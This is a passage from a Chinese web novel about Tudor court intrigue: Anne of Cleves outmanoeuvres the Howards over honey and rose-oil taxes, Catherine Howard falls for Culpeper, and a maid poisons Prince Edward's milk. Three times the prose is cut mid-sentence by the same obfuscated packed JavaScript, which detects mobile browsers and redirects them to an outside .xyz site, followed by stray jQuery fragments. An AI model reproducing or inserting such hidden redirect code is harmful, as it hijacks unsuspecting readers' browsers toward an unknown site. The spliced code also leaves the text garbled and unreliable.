“当然不够。”托马斯成竹在胸，“但有了西摩家的供货，再加上您特许状赋予的‘合法采购权’，您就可以公开、合法地向其他未被霍华德完全控制的中小蜂场主采购。我们会放出消息，诺福克公爵的垄断挤压了所有人的生存空间，而里士满的安娜女士，有国王特许，愿意以合理价格收购优质蜜。那些被霍华德压榨的蜂农，会知道该把蜜卖给谁。” 这是要利用安妮的特许状和西摩的势力，撬动霍华德垄断链条的缝隙，发动一场“蜂蜜起义”！ **势均力敌的玫瑰棋盘** 合作敲定。西摩家族提供部分稳定优质蜜源，并在宫廷中制造舆论压力，质疑霍华德垄断的合理性及其对王室（尤其是国王）可能造成的“不便”。安妮则利用国王特许状赋予的合法性，公开以合理价格向市场收购蜂蜜，并巧妙地将“保障安娜金露品质=保障国王御用饮品”的概念传播出去。 很快，效果显现。 霍华德家族感到了阻力。原本预期中安妮的焦头烂额并未出现。里士满的酿酒坊虽然产量略有下降，但并未停止。市场上开始流传小道消息：西摩家族在支持安娜女士；安娜女士有国王特许，买蜜天经地义；诺福克公爵囤那么多蜜，是想让国王都喝不上好酒吗？ 更让诺福克公爵恼火的是，在一次枢密院小范围会议上，托马斯·西摩“忧国忧民”地提到了入秋以来伦敦市场蜂蜜价格的非理性飙升，并“不经意”地提到：“听闻里士满的安娜女士，因陛下特许的酿酒生意需要大量优质蜜，如今采购也颇为艰难，价格高企，长此以往，恐影响其按时足额缴纳税金，更恐…影响其为陛下特酿的‘舒络蜜’的供应啊。” 他把安妮那止痛药酒命名为“舒络蜜”，精准地戳中了亨利的痛点。 一直半眯着眼听大臣们争论预算的亨利八世，听到“舒络蜜”三个字， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155913|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳朵动了动。痛风是他无时无刻的折磨，那酸酸甜甜又带着姜辣味的“金露”，是他难得的慰藉。他抬起沉重的眼皮，扫了一眼诺福克公爵：“托马斯（霍华德），怎么回事？朕记得安娜的酿酒特许是朕亲批的，怎么连点蜂蜜都买不到了？市面上的蜜价涨得这么厉害，宫廷的用度是不是也超支了？” 语气平淡，却带着不容置疑的威压。 诺福克公爵心里一沉，连忙躬身：“陛下息怒！此乃商贾逐利，市场波动所致。臣颁布专营令，正是为了平抑物价，保障供给。里士满安娜女士那边…想必是沟通有误，臣定当查明，确保陛下所需及特许经营之原料供应无虞！”他暗骂西摩多事，更恨安妮狡猾，竟然把国王的“舒络蜜”当成了护身符。 **王座上的裁判：甜蜜的砝码** 一场由霍华德家族发起的、企图扼杀安妮经济命脉的垄断战争，在安妮的借力打力和西摩家族的介入下，暂时被化解了。霍华德无法再明目张胆地全面封锁安妮的蜜源，只能暗中使些绊子，比如拖延运输、散布流言等，但这些小动作在安妮的特许状光环和日益稳固的供应链（西摩+中小蜂农）面前，效力大减。 数日后，安妮亲自押送一小批最高品质的“舒络蜜”和最新酿造的“加冕蜜”（一种口感更醇厚、带有橡木桶陈酿风味的限量版）前往格林威治宫“进献”。她穿着朴素的深蓝色衣裙，姿态恭谨，仿佛只是来履行特许经营者的义务。 亨利八世在偏殿接见了她。他刚经历了一次痛风的发作，脸色有些灰败。看到安妮带来的酒，尤其是那贴着“舒络”标签的小瓶，眼神明显亮了一下。 “安娜，我的好妹妹，”他声音有些沙哑，“你的酒，最近可不太好买啊。” 安妮心中了然，恭敬地回答：“回禀陛下，托陛下洪福和特许之恩，酒坊尚能运转。只是秋季蜜源紧张，为求品质不敢懈怠，产量略有下降，让陛下久候，实乃臣妹之过。此次特将窖藏最好的‘舒络蜜’献与陛下，并新酿‘加冕蜜’，愿陛下身体康泰，福泽绵长。”她特意强调了“加冕”二字，目光若有似无地扫过亨利身边侍立的内侍捧着的、象征王权的金球复制品（他最近喜欢在手里摩挲这个）。 亨利拿起一瓶“舒络蜜”，拔开瓶塞闻了闻，熟悉的带着药草清香的甜辣味让他紧皱的眉头稍微舒展。他看向安妮，这个前妻，如今恭顺的“妹妹”，她的酒坊不仅给他带来了金钱（税金），更带来了实实在在的舒适。“嗯，有心了。”他挥了挥手，内侍收下了酒，“特许是朕给你的，该有的原料，你尽管去买。若再有不长眼的阻挠…”他哼了一声，没有说下去，但威胁之意不言而喻。 “谢陛下恩典！”安妮深深行礼，心中一块巨石落地。国王的金口玉言，是她对抗霍华德最有力的武器。她知道，只要她的酒能缓解亨利的痛苦，只要她的税金按时缴纳，只要她不直接挑战王权，她这片小小的“安娜国”就能在风暴中暂时安稳。 离开格林威治宫时，安妮在长廊里“偶遇”了盛装华服、被一群侍女簇拥着的凯瑟琳·霍华德。年轻的王后依旧光彩照人，但看向安妮的眼神，却多了几分复杂的审视和一丝不易察觉的…忧虑。霍华德家族在安妮这里的受挫，让她隐约感到了不安。 “安娜姐姐，”凯瑟琳的声音依旧甜美，却少了些往日的轻快，“听说您的酒生意好得很呢，连陛下都赞不绝口。” 安妮露出温顺得体的微笑：“托王后陛下的福。一点小生意，勉强糊口罢了。陛下仁厚，念旧情，才肯赏脸。”她将“旧情”二字咬得清晰，既是对凯瑟琳的提醒（安妮曾是王后），也是一种无形的距离感。 凯瑟琳还想说什么，安妮却已恭敬行礼告退：“不敢打扰王后陛下雅兴，臣妹告退。”她转身离去，深蓝色的背影在汉普顿宫金碧辉煌的长廊里，显得沉静而坚韧，与凯瑟琳那耀眼的、却仿佛悬在丝线上的荣华形成了鲜明对比。 回到里士满的马车里，安妮疲惫地靠在软垫上。窗外，泰晤士河波光粼粼。她赢了这一回合，靠着特许状、西摩的同盟和亨利对止痛的依赖。但棋盘上的对手依然强大，王座上的裁判心思难测。霍华德家族不会善罢甘休，西摩家族也绝非善男信女。她将“加冕蜜”的标签在指间摩挲——这个名字，既是献给亨利，何尝不是对未来的一种预演？爱德华·西摩（托马斯之兄，爱德华王子的舅舅）才是王子最主要的监护人，西摩家族押注的是未来。 24. 玫瑰刺与金丝笼 里士满的七月，连风都浸透了玫瑰的浓香。蒸馏房内，安妮正俯身在一套奇特的玻璃器皿前——那是她耗费重金从安特卫普商人手中换来的蒸馏设备，细长的鹅颈冷凝管在晨光下折射出彩虹。釜中翻滚着深红花瓣，蒸汽携着馥郁穿透层层滤网，最终在收集瓶底凝成一滴金红粘稠的液体，像凝固的阳光。 “成了！”安妮的声音带着压抑不住的激动，用银勺小心舀起一滴。浓郁的、带着蜂蜜底韵和一丝辛辣的玫瑰香气瞬间充盈鼻腔，远比中世纪常见的玫瑰水纯粹百倍。她将其命名为“克里夫斯之泪”——纪念她被迫留在这片异国土地的灵魂，也暗喻这精粹如泪滴般珍贵。 “老师，这味道…”刚进门的伊丽莎白抽了抽鼻子，灰绿色的眼睛瞬间亮了，“像把整个夏天的玫瑰园都装进了小瓶子里！” “不止如此，”安妮将银勺靠近烛焰，一滴精油落入火中，“嗤”一声轻响，爆开一团绚丽的蓝色火焰，旋即化作更浓郁的甜香，“它还能燃烧，能入药，能渗透进最上等的皮革和丝绸，留下持久的印记。” 消息如同投入平静水面的石子，涟漪迅速扩散。伦敦的贵妇们闻风而动，里士满庄园的门槛几乎被踏破。一盎司“克里夫斯之泪”标价五枚金币，贵比等重黄金，订单却如雪片般飞来。银币叮当作响落入橡木钱箱，那声音比任何宫廷乐师的演奏都更让安妮安心。胡椒狗蹲在钱箱旁，尾巴拍地的节奏俨然是首欢快的进行曲。 --- 汉普顿宫的气氛却截然相反。凯瑟琳·霍华德焦躁地在寝宫里踱步，昂贵的波斯地毯几乎被她踩出痕迹。镜中的人儿依旧明艳，眼底却蒙着一层挥之不去的阴翳。嫁入宫廷已逾半年，她平坦的小腹成了整个霍华德家族的噩梦，也成了亨利眼中日益明显的失望。 “陛下…昨晚又去了猎宫。”侍女安妮·巴斯克维尔，那个从诺福克老家带来的玩伴，小心翼翼地为她梳理着金发，低声说着打探来的消息。 凯瑟琳猛地攥紧了梳妆台上的珍珠项链，指节泛白。亨利的冷落像无形的鞭子抽打着她。他不再日日流连她的寝宫，那些曾让她心花怒放的礼物也稀少了。昨晚的宴会，他甚至没有邀请她同跳开场舞，而是与一位来自西班牙的使节夫人谈笑风生。屈辱和恐慌啃噬着她的心。 “够了！”她猛地挥开巴斯克维尔的手，声音尖利，“我不要听这些！” 巴斯克维尔瑟缩了一下，眼珠却灵活地转了转，凑得更近，声音压得极低，带着一种隐秘的诱惑：“我的好王后，何必为那些烦心事忧心？陛下政务繁忙，一时冷落也是常情。您正当青春年华，该寻些乐子才是…”她顿了顿，观察着凯瑟琳的脸色，“您可还记得托马斯·卡尔佩珀？那位陛下身边新提拔的侍卫长？他今日当值，就在白塔外的玫瑰廊下…啧啧，那身姿，那气度，整个宫廷的骑士加在一起也比不上他看您时那专注的眼神…” 凯瑟琳的心猛地一跳，一丝异样的涟漪在死水般的心湖荡开。卡尔佩珀…那个有着深褐色卷发和鹰隼般锐利眼神的年轻侍卫？她确实在几次宫廷仪式上瞥见过他，他挺拔的身影和偶尔投来的、带着倾慕的炽热目光，曾让她脸颊微热。 “你…你胡说什么！”她佯装恼怒，声音却软了下去，一丝红晕爬上她苍白的脸颊。 “是不是胡说，王后亲自去看看不就知道了？”巴斯克维尔嘴角勾起一抹得逞的笑意，拿起梳妆台上一个镶嵌着蓝宝石的小巧香水瓶，“来，试试这个，‘克里夫斯之泪’…让那木头骑士见识见识，什么才是真正的玫瑰女王。” --- 诺福克公爵托马斯·霍华德的脸色比汉普顿宫地牢的石壁还要阴沉。他枯瘦的手指敲击着厚重的橡木桌面，发出沉闷的笃笃声。一份来自里士满的密报摊开在眼前——详细记录了“克里夫斯之泪”惊人的售价和供不应求的盛况。那女人！那个被他们亲手赶下王座、本该在里士满默默无闻了此残生的德意志女人，非但没有枯萎，反而在废墟上开出了带刺的玫瑰，还结出了金灿灿的果实！这简直是对霍华德家族权威赤裸裸的挑衅。 “玫瑰香油？”霍华德的声音像是从齿缝里挤出来，带着冰冷的嘲讽，“她以为靠这些女人取悦男人的玩意儿，就能在英格兰站稳脚跟？做梦！” 坐在下首的是他的心腹，税务署副署长布莱克。自从上次在里士满被安妮用国王特许打了脸，他一直憋着一股邪火。“公爵大人，”布莱克倾身向前，眼中闪烁着算计的精光，“下官仔细查过，她的特许状只涵盖了‘蜂蜜发酵酒类’。而这‘玫瑰香油’…嘿嘿，它既非饮用酒，更非寻常香料，而是以烈酒为基底反复蒸馏萃取所得的高纯度精油！按《王国奢侈品及香料特别税法》第三章第五条，‘凡以酒为引，经秘法炼制，其价逾等重黄金之奇香异液’，皆可视为‘秘制珍稀酊剂’，税率…高达货值的五成！” 五成！霍华德灰白的眉毛猛地一扬，浑浊的眼底瞬间迸射出毒蛇般的光芒。这简直是敲骨吸髓！他仿佛已经看到安妮·克里夫斯看到税单时那惊怒交加的脸庞，看到她的玫瑰金矿被这沉重的税赋压得摇摇欲坠。 “好！”霍华德猛地一拍桌子，震得桌上的银杯嗡嗡作响，“立刻起草征税令！盖我的印章！让那不知天高地厚的女人知道，英格兰的钱，不是那么好赚的！玫瑰再香，也香不过王权！”他嘴角扭曲出一个残酷的弧度，“顺便告诉她，若她识相，主动献上那香油的秘方和五成干股…霍华德家族，或许可以考虑为她‘疏通’一二。” --- 征税令送达里士满时，安妮正和伊丽莎白在新建的露天蒸馏工坊里忙碌。巨大的铜釜在柴火的舔舐下发出低沉的嗡鸣，蒸汽弥漫，带着醉人的玫瑰甜香。工人们穿着统一的亚麻围裙，背后绣着叼着玫瑰的胡椒狗徽记，正有条不紊地采摘、分拣、清洗着清晨带着露珠的玫瑰花瓣。 老约翰一脸凝重地将那份盖着霍华德家族獒犬纹章火漆的羊皮卷递到安妮手中。布莱克趾高气扬地站在一旁，皮笑肉不笑：“安娜女士，奉王国税法及诺福克公爵大人令，‘克里夫斯之泪’被认定为‘秘制珍稀酊剂’，需缴纳货值五成的特别香料税。这是第一批的税额核定，共二百盎司，计…五百金币。请您三日内缴清。” “五百金币？！”伊丽莎白失声惊呼，小脸气得通红，“你们这是抢劫！老师，我们…” 安妮抬手，轻轻按在伊丽莎白激动得微微发抖的肩膀上，示意她噤声。她展开羊皮卷，目光飞快地扫过那些冰冷的条款和天文数字，脸上看不出丝毫波澜，只有眼底深处掠过一丝冰冷的锐芒。五成？霍华德…这头老狼，果然贼心不死。 她合上卷轴，抬眼看着布莱克，嘴角甚至弯起一抹极淡、却毫无温度的笑意：“辛苦署长大人亲自跑一趟。税法森严，我自当遵守。”她语气平静得可怕。 布莱克一愣，显然没料到对方如此“顺从”，准备好的威吓说辞卡在了喉咙里。他狐疑地打量着安妮：“安娜女士深明大义，那…” “不过，”安妮话锋一转，声音依旧平稳，却带着一种不容置疑的力量，“烦请署长大人稍候片刻。既是‘秘制珍稀酊剂’，涉及如此重税，我理应为署长详细讲解其炼制过程、用料成本及定价依据，也好让税务署的大人们核算得清清楚楚、明明白白，免得日后…再生出什么不必要的误会，您说是不是？” 她转身，对老约翰低声吩咐了几句。老约翰眼中闪过一丝了然，立刻快步离去。 布莱克被安妮这“配合”的态度弄得有些摸不着头脑，只能干咳一声：“安娜女士言之有理，那…本官就听听。” 安妮不再理会他，径直走向工坊中央最大的那套蒸馏设备。她拿起一根长长的玻璃搅拌棒，轻轻敲了敲冷凝管，发出清脆的声响，吸引了所有工人的注意。 “诸位！”安妮的声音不大，却清晰地穿透了蒸汽的嘶鸣，传入每个人的耳中，“税务署的大人们关心我们的‘克里夫斯之泪’，这是好事！说明我们的心血得到了王国的重视！现在，让我们把每一步都展示给署长大人看！从花瓣采摘开始——记住，只取晨露未晞时、完全盛开的‘大马士革’和‘千叶’玫瑰，花蕊饱满，香气最浓！约翰大叔，麻烦您把今早收花的账册取来，每一磅的收购价都要让署长大人过目！” 工人们虽不明所以，但对安妮有着绝对的信任，立刻依言行动起来。采摘组的妇人小心翼翼地展示着如何用银剪子只剪取最完美的花朵；分拣处的少女将稍有瑕疵的花瓣仔细剔除；清洗槽旁，清水哗哗流淌，带着花瓣旋转… 安妮亲自走到蒸馏釜旁，掀开厚重的铜盖。滚烫的蒸汽夹杂着浓郁的花香扑面而来。她拿起一根长柄铜勺，舀起釜内翻滚的深红色液体混合物：“署长请看，此为第一步浸提。每一釜需用去岁特酿的莱茵白葡萄酒五十加仑为引，浸泡精选花瓣三百磅，文火慢煨六个时辰，取其精华。”她将勺子凑近布莱克，浓烈的酒气和花香熏得他下意识后退半步。 “浸提液过滤后，”安妮指向连接蒸馏釜的复杂管道，“进入三重蒸馏。第一次去其浊质，第二次萃其精魄，第三次方得这至纯之泪。每一次蒸馏，耗费木柴、人工、损耗…”她如数家珍，精确到每一磅柴火的价钱，每一个工时的工钱，每一釜因火候控制不当而报废的损失。她的语速平稳清晰，却像密集的鼓点，敲在布莱克渐渐发懵的脑海里。 老约翰适时地捧来厚厚几大本账簿，墨迹未干，显然是刚刚加紧誊录的摘要。“署长大人，这是原料采购明细、人工支出、燃料消耗、器具折旧…还有我们与安特卫普、巴黎商行签订的供货契约副本，上面有明确的定价条款和成本分摊…”老约翰的声音洪亮，一页页翻给布莱克看，密密麻麻的数字看得他眼花缭乱。 “按照署长大人核定的税率，”安妮拿起一个空的小水晶瓶，在手中把玩着，阳光透过瓶身折射出炫目的光，“五成。那么，扣除所有成本，包括这重税之后，我们每售出一盎司‘克里夫斯之泪’，实际所得…”她顿了顿，目光扫过布莱克额角渗出的细汗，轻轻吐出一个数字，“…不足一枚银币。仅够支付采摘十朵玫瑰的人工费。” 布莱克的脸色由红转白，再由白转青。他原以为这只是个敲竹杠的简单差事，没想到一脚踏进了如此庞大、精细、且账目清晰得可怕的产业里！安妮展示的一切，逻辑严密，证据链完整，他根本挑不出任何错处！如果真按五成征税，这生意别说赚钱，简直是血本无归的赔钱买卖！这消息要是传出去，说他税务署逼得国王特许的合法产业破产…诺福克公爵或许能撇清干系，但他布莱克绝对会成为替罪羊！ 冷汗浸透了他内衬的亚麻衫。 安妮将他的窘态尽收眼底，适时地缓和了语气，带着一丝恰到好处的“无奈”：“署长大人，并非我不愿缴税。实在是这‘秘制珍稀酊剂’的炼制，靡费甚巨，风险极高。若依此税率，里士满的玫瑰园怕是只能荒废，工坊关门，这‘克里夫斯之泪’…也将成为绝响了。不知多少期待此物的贵人们，要失望而归了。”她意有所指地叹息一声。 布莱克如蒙大赦，立刻顺着台阶下：“安娜女士所言极是！极是！这…这税率认定或许…或许有待商榷！下官回去后，定当将今日所见所闻，尤其是这炼制之艰难、成本之高昂，如实禀报税务署诸位大人，重新审议！重新审议！”他擦着汗，只想赶紧离开这个让他窒息的地方。 “署长大人明察秋毫。”安妮微微颔首，脸上终于露出一丝真诚的笑意，转身对老约翰道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155914|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “约翰大叔，去取两瓶特制的‘署长专供’版‘克里夫斯之泪’来，瓶身要鎏金刻字的。署长大人为税法奔波劳苦，这点小小心意，务必请大人笑纳，也好让署里的大人们…更直观地感受一下我们产品的‘珍稀’之处。” 看着那两瓶远比市售品更加精美华贵的精油，布莱克脸上的表情复杂极了，既有逃过一劫的后怕，又有一丝难以言喻的贪婪和…动摇。这女人，软硬兼施，手段了得！他抱着那两瓶沉甸甸、香喷喷的“专供”，几乎是落荒而逃。 看着布莱克仓皇离去的背影，伊丽莎白长舒一口气，随即眼中闪烁着兴奋的光芒：“老师，您太厉害了！那些账本…” 安妮脸上的笑容瞬间敛去，眼神锐利如刀锋：“账是真的，成本也是真的，但‘血本无归’是假的。我们真正的利润，藏在更深处。”她拿起一根玻璃棒，沾了点蒸馏釜旁收集的副产品——一种散发着清冽草木香的淡黄色液体，“玫瑰纯露，蒸馏精油时的副产品。十磅花瓣才能得一滴精油，却能产出数加仑纯露。这才是我们走量的根基，成本几乎可以忽略不计。而它的定价…”她嘴角勾起一抹狡黠的弧度，“足以覆盖所有成本，包括那五成重税还有余裕。” 伊丽莎白恍然大悟，小嘴张成了O型：“所以…您故意把精油成本说得那么高，吓退布莱克？” “霍华德想用税赋的大棒打断我的脊梁，”安妮冷冷道，指尖捻起一片鲜红的玫瑰花瓣，用力一捏，殷红的汁液渗出，“我就把这根棒子，变成撬开税务署大门的杠杆。让他们看清，动我，需要付出他们承受不起的代价。顺便…给布莱克这种人，指一条更轻松的发财路。” 她看着那两瓶“专供”消失的方向，意味深长。 ---白塔外的玫瑰廊沐浴在午后慵懒的阳光里。凯瑟琳·霍华德斜倚在铺着软垫的石椅上，心不在焉地拨弄着一朵开败的玫瑰，花瓣片片凋零。巴斯克维尔侍立在她身后，目光却焦急地瞟向长廊入口。 终于，一个挺拔的身影出现在光影交界处。托马斯·卡尔佩珀身着笔挺的宫廷侍卫制服，深蓝色的面料衬得他肩宽腰窄，金色的绶带和胸前的银质徽章闪闪发亮。他步伐沉稳有力，英俊的脸上带着一丝符合身份的恭谨，目光却在触及凯瑟琳时，瞬间变得深邃而炽热，如同暗流涌动的深海。 “王后陛下。”卡尔佩珀在几步外停下，右手抚胸，行了一个无可挑剔的骑士礼，姿态优雅如猎豹。他的声音低沉悦耳，带着恰到好处的磁性。 凯瑟琳的心跳不由自主地漏了一拍。她抬起头，努力维持着王后的威仪，脸颊却不受控制地微微发热。她闻到了他身上传来的、淡淡的皮革和马匹的气息，混合着一种年轻男性特有的、充满力量感的味道。这味道与亨利身上挥之不去的药味和衰老气息截然不同，带着一种让她眩晕的侵略性。 “卡尔佩珀爵士。”她的声音比平时轻柔了几分，“今日…当值辛苦？” “守卫陛下和您的安全，是臣无上的荣耀，何谈辛苦。”卡尔佩珀直起身，目光坦荡地迎视着凯瑟琳，那专注的眼神仿佛她是这世上唯一的珍宝。他向前一步，姿态依旧恭谨，距离却微妙地拉近了，凯瑟琳甚至能看清他浓密睫毛的阴影。“倒是陛下，您似乎有些倦意？这盛夏的玫瑰开得虽好，日光却也有些灼人了。” 他的关怀如此自然，如此体贴，像一股暖流注入凯瑟琳冰冷孤寂的心湖。亨利已经多久没有这样温柔地对她说过话了？她下意识地抚上自己的脸颊：“是吗？许是昨夜…没睡安稳。” “请恕臣冒昧，”卡尔佩珀的目光落在她微微蹙起的眉间，带着毫不掩饰的怜惜，“臣在诺福克时，曾跟一位老修士学过一点按摩舒缓之术，对安神颇有奇效。若陛下不弃…”他的声音低沉下去，带着一丝试探性的诱惑。 凯瑟琳的心猛地一跳，指尖微微颤抖。理智告诉她这太危险，太逾矩！但内心深处那个被冷落、被恐惧攫住的年轻灵魂，却在这份大胆而直接的关怀面前，土崩瓦解。她鬼使神差地点了点头，声音细若蚊呐：“…也好。” 卡尔佩珀的唇角勾起一抹几不可察的笑意，快得如同错觉。他再次上前一步，高大的身影几乎将凯瑟琳笼罩。他伸出骨节分明、带着薄茧的手指，带着一种不容拒绝的温柔，极其轻柔地抚上凯瑟琳的太阳穴。 指尖的温热透过薄薄的皮肤传来，带着一种奇异的电流。凯瑟琳浑身一颤，下意识地想躲开，身体却像被钉住般无法动弹。他的力道恰到好处，缓慢而坚定地揉按着，带着一种催眠般的魔力。属于他的、强烈的男性气息将她完全包裹，带着汗意、皮革和一种难以言喻的、令人心慌意乱的荷尔蒙的味道。这气息如此陌生，如此…鲜活，与亨利身上陈腐的玫瑰水和药味形成惨烈的对比。凯瑟琳感到一阵眩晕般的窒息，仿佛沉入温暖而危险的深海，无力挣扎，也不想挣扎。 她闭上眼，长长的睫毛如蝶翼般颤动，脸颊绯红如醉。紧绷的神经在那富有技巧的揉按下渐渐松弛，一种久违的、被珍视呵护的感觉，伴随着巨大的罪恶感和隐秘的刺激感，如同藤蔓般疯狂滋长，缠绕住她脆弱的心房。 巴斯克维尔垂手侍立在几步之外，低着头，嘴角却抑制不住地向上扬起，眼中闪烁着兴奋而残忍的光芒。成了！第一步！ 卡尔佩珀专注地看着怀中闭目沉醉的年轻王后，她毫无防备的美丽如同盛放在他掌心的脆弱玫瑰。他眼底深处掠过一丝冰冷的、猎人锁定猎物般的锐芒，随即又被更深的、刻意营造的温柔所覆盖。指尖感受着她脉搏的加速，他俯身，薄唇几乎贴近她泛红的耳廓，温热的气息拂过她敏感的肌肤，声音压得极低，带着令人心颤的磁性： “陛下…您的忧愁，是臣心头的荆棘。愿我的指尖，能为您拂去尘埃…” 25. 砧板上的肉与玫瑰下的毒 汉普顿宫的空气因一则“喜讯”而彻底沸腾。凯瑟琳·霍华德苍白着脸，在晨起后对着侍女捧来的银盆干呕不止，紧接着御医格里夫斯被十万火急地召入寝宫。消息像野火燎原，瞬间烧遍了宫墙内外：王后有喜了！ 亨利八世闻讯，巨大的狂喜几乎冲垮了他因痛风而略显笨重的身躯。他冲进凯瑟琳的寝宫，像一头找到稀世珍宝的熊，将年轻娇小的王后紧紧搂在怀中，洪亮的笑声震得窗棂嗡嗡作响，连带着他身上的玫瑰水与陈年药膏味都显得不那么刺鼻了。 “上帝保佑！上帝保佑英格兰！我的凯特！我的小玫瑰！”他激动得语无伦次，布满红丝的眼睛里闪烁着近乎癫狂的光芒，“你给了我最好的礼物！一个王子！一个继承都铎血脉的王子！”他仿佛已经看到襁褓中健康的男婴，看到自己王位稳固的未来。他立刻下令：全国教堂鸣钟三日，释放部分轻罪囚犯，并在格林威治宫筹备一场史无前例的盛大庆祝晚宴，以彰天恩和国运昌隆。 整个霍华德家族沐浴在这突如其来的荣光里。诺福克公爵托马斯·霍华德的府邸灯火彻夜通明，家族成员们脸上洋溢着毫不掩饰的得意与贪婪。觥筹交错间，几个年轻气盛的霍华德小辈，几杯烈酒下肚，眼神便飘向了里士满的方向。 “公爵大人，”其中一个侄子，血气方刚的弗朗西斯·霍华德，趁着喧闹凑到诺福克公爵身边，压低的声音里带着狠劲，“现在正是时候！那德意志女人，仗着国王‘妹妹’的名头，在里士满逍遥自在，还经营什么酒坊！简直是对我们家族的侮辱！不如趁着晚宴人多手杂……”他做了个不易察觉的手势。 另一个表亲也附和道：“是啊，叔叔。她终究是个隐患。万一她再利用那个小野种（意指伊丽莎白）或者她的酒坊搞点什么名堂，影响王后和未来王子的地位……” 诺福克公爵端坐在主位上，手中把玩着一只沉甸甸的金杯。他听着小辈们跃跃欲试的狠话，脸上那惯常的、介于狐狸与老狼之间的微笑纹丝未动，眼神却冰冷得像泰晤士河底的石头。他缓缓抬起手，瞬间压下了所有嘈杂。 “愚蠢！”公爵的声音不高，却像淬了冰的鞭子，抽在几个年轻人发热的头脑上，“目光短浅！” 他放下金杯，身体微微前倾，目光如鹰隼般扫过那几个面露不甘的小辈。 “安妮·克里夫斯？”他嗤笑一声，带着极度的轻蔑，“她现在算什么？一块被陛下亲自放在砧板上的肉！一块被赐予了‘丰盛年金’和‘舒适牢笼’的肉！国王叫她一声‘妹妹’，她就真以为自己是王室成员了？笑话！她存在的唯一价值，就是衬托凯瑟琳王后的年轻、健康、以及——”他刻意顿了顿，加重了语气，“即将诞下继承人的无上荣光！” 他环视四周，确保每个人都听清了他的话。 “动她？现在？”公爵的嘴角勾起一抹残酷的弧度，“那才是真正的自寻死路，愚蠢至极！陛下此刻正沉浸在得子的狂喜和对凯瑟琳的极度宠爱中。你们去动他亲口承认的‘好妹妹’，是想提醒陛下我们霍华德家嚣张跋扈、不容异己吗？是想给那些克伦威尔的余党、玛丽公主，甚至躲在里士满教书的那个小丫头（伊丽莎白）递刀子吗？” 他拿起餐巾，慢条斯理地擦了擦嘴角，仿佛在擦拭掉小辈们那些不成熟的想法。 “她的蜂蜜酒？她的星图？她的德意志小把戏？”诺福克公爵的声音里充满了掌控一切的笃定，“随她去。让她酿酒，让她教那个小丫头看星星，让她在里士满那点小地盘里自得其乐。只要凯瑟琳的肚子争气，只要那个男孩顺利降生、健康成长……安妮·克里夫斯？哼，她连成为我们绊脚石的资格都没有。她会像一块被遗忘在角落的干面包，慢慢发霉，最终无声无息地消失。她的存在，只会让我们的胜利显得更加彻底和完美。现在，把你们那点可怜的力气和心思，用在真正重要的事情上！” 公爵的目光变得锐利而充满暗示，他压低了声音，只有最核心的几个人能听清： “确保凯瑟琳和肚子里的孩子**绝对安全**……以及，清理掉那些**真正**挡在霍华德家族通往权力巅峰道路上的**障碍**。” 他的眼神飘向格林威治宫深处，那里住着体弱多病、却依旧是法定继承人的爱德华王子。 小辈们被训斥得噤若寒蝉，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155915|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底深处那点被点燃的野心和狠戾并未完全熄灭，只是暂时被公爵的威势压服，并顺着公爵的暗示，转向了更明确、更致命的目标——那个年幼的、代表着简·西摩血脉的男孩。 *** *** 格林威治宫庆祝晚宴的喧嚣如同实质的浪潮，淹没了每一个角落。水晶吊灯折射着无数烛火，金器银器交相辉映，乐声震耳欲聋。亨利八世红光满面，小心翼翼地搀扶着被华丽锦缎包裹、小腹尚平坦却已做出矜贵姿态的凯瑟琳，接受着潮水般的恭维与祝福。空气里混合着烤肉的焦香、名贵香水的甜腻、葡萄酒的醇厚以及……一种不易察觉的、被精心掩盖的紧张。 在侍从如织的后厨通道，在堆满鲜花与贺礼的偏厅角落，霍华德家族最忠诚也最隐秘的影子开始行动。目标并非里士满的玫瑰，而是格林威治宫深处，那位苍白瘦弱、在奶娘和御医严密看护下的小王子——爱德华。 一个被诺福克公爵心腹收买的、负责爱德华王子夜间饮品的年轻女侍，趁着换班交接的短暂混乱，将指甲盖里藏着的一小撮细腻的、无味的白色粉末，轻轻弹进了王子睡前必喝的一小碗温热的、加了蜂蜜的牛奶中。粉末迅速溶解，不留一丝痕迹。 女侍的手微微颤抖，但想到公爵许诺给她病重父亲的土地和金币，想到自己即将摆脱的卑贱命运，她的眼神变得异常坚定。她端起托盘，像往常一样，低眉顺眼地走向小王子的寝殿，步伐平稳，心跳如鼓。托盘上，那碗看似温润无害的牛奶，在摇曳的烛光下，泛着柔和的、致命的微光。 